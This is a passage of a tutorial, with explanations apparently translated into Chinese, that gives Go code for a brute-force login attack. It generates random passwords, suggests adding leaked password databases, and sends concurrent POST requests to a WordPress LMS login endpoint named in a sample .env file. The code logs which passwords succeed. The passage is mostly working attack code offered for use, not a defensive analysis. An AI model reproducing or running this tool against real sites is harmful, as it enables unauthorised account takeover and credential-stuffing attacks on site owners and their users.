package helper
import (
"log"
"math/rand"
"os"
)
func RandStringRunes(n int) string {
var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
b := make([]rune, n)
for i := range b {
b[i] = letterRunes[rand.Intn(len(letterRunes))]
}
return string(b)
}
func WriteOrAppendFile(filename string, pw string) error {
f, err := os.OpenFile(filename,
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Println(err)
}
defer f.Close()
if _, err := f.WriteString(pw + "\n"); err != nil {
log.Println(err)
}
return nil
}
您可以修改 []rune("...") 第 10 行内的字符串以适合您的密码规则。 我使用 abcdefghijklmnopqrstuvwxyzABCDEFG... 因为我的目标身份验证需要大写、小写和数值。
您可以通过在 main.go 中运行此代码来生成“try.txt”文件
for i := 0; i < 1000; i++ {
s := helper.RandStringRunes(11)
helper.WriteOrAppendFile("try.txt", s)
}
我们正在从我们的代码中生成 1000 个密码组合。 您可以根据自己的猜测或泄露的密码数据库在 try.txt 中添加更多内容。
现在我们的根文件夹中有“try.txt”文件。 我们将替换 main.go,以便我们可以使用 try.txt 中的所有密码向 URL 发出 POST 请求以尝试暴力破解。
package main
import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"strings"
"sync"
"github.com/febriliankr/sejawatidn-security/helper"
"github.com/joho/godotenv"
)
type RequestBody struct {
UserLogin string `json:"user_login"`
UserPassword string `json:"user_password"`
}
type Handler struct {
url string
BodyData RequestBody
}
func main() {
godotenv.Load()
url := os.Getenv("URL")
username := os.Getenv("USERNAME")
reqBody := RequestBody{
UserLogin: username,
}
h := Handler{
url: url,
BodyData: reqBody,
}
content, err := ioutil.ReadFile("try.txt")
if err != nil {
log.Println(err)
}
pwLines := strings.Split(string(content), "\n")
_, err = h.AsyncHTTP(pwLines)
if err != nil {
log.Println(err)
}
}
func (h Handler) TryPassword(pws []string) error {
for _, pw := range pws {
h.BodyData.UserPassword = pw
j, err := json.Marshal(h.BodyData)
if err != nil {
log.Println("error marshaling body:", err.Error())
}
req, _ := http.NewRequest("POST", h.url, bytes.NewBuffer(j))
req.Header.Set("X-Custom-Header", "myvalue")
req.Header.Set("Content-Type", "application/json")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
continue
}
defer resp.Body.Close()
var result map[string]interface{}
body, _ := ioutil.ReadAll(resp.Body)
_ = json.Unmarshal([]byte(body), &result)
if result["status"] == "success" {
fmt.Println("Correct password ✅:", pw)
_ = os.WriteFile("correct_password.txt", []byte(pw), 0644)
continue
} else {
fmt.Println("Wrong password ❌:", pw)
_ = helper.WriteOrAppendFile("wrong_password.txt", pw)
continue
}
}
return nil
}
func (h Handler) AsyncHTTP(pws []string) ([]string, error) {
ch := make(chan string)
var responses []string
var wg sync.WaitGroup
for _, pw := range pws {
wg.Add(1)
go h.sendUser(pw, ch, &wg)
}
// close the channel in the background
go func() {
wg.Wait()
close(ch)
}()
// read from channel as they come in until its closed
for res := range ch {
responses = append(responses, res)
}
return responses, nil
}
func (h Handler) sendUser(pw string, ch chan<- string, wg *sync.WaitGroup) {
defer wg.Done()
h.BodyData.UserPassword = pw
j, _ := json.Marshal(h.BodyData)
req, _ := http.NewRequest("POST", h.url, bytes.NewBuffer(j))
req.Header.Set("X-Custom-Header", "myvalue")
req.Header.Set("Content-Type", "application/json")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
ch <- "error"
return
}
defer resp.Body.Close()
var result map[string]interface{}
body, _ := ioutil.ReadAll(resp.Body)
_ = json.Unmarshal([]byte(body), &result)
if result["status"] == "success" {
fmt.Println("Correct password ✅:", pw)
_ = os.WriteFile("correct_password.txt", []byte(pw), 0644)
} else {
fmt.Println("Wrong password ❌:", pw)
_ = helper.WriteOrAppendFile("wrong_password.txt", pw)
}
ch <- string(body)
}
使用尝试的用户名和 url 端点在根目录中创建一个 .env 文件。 这是 .env 文件的示例。
USERNAME=febriliankr
URL=https://endpoint.com/wp-admin/admin-ajax.php?action=stm_lms_login&nonce=912c7b85e4
如果密码正确,我们会将其写入correct_password.txt,所有错误的密码都会在error_password.txt文件中。 这也是控制台中记录的内容。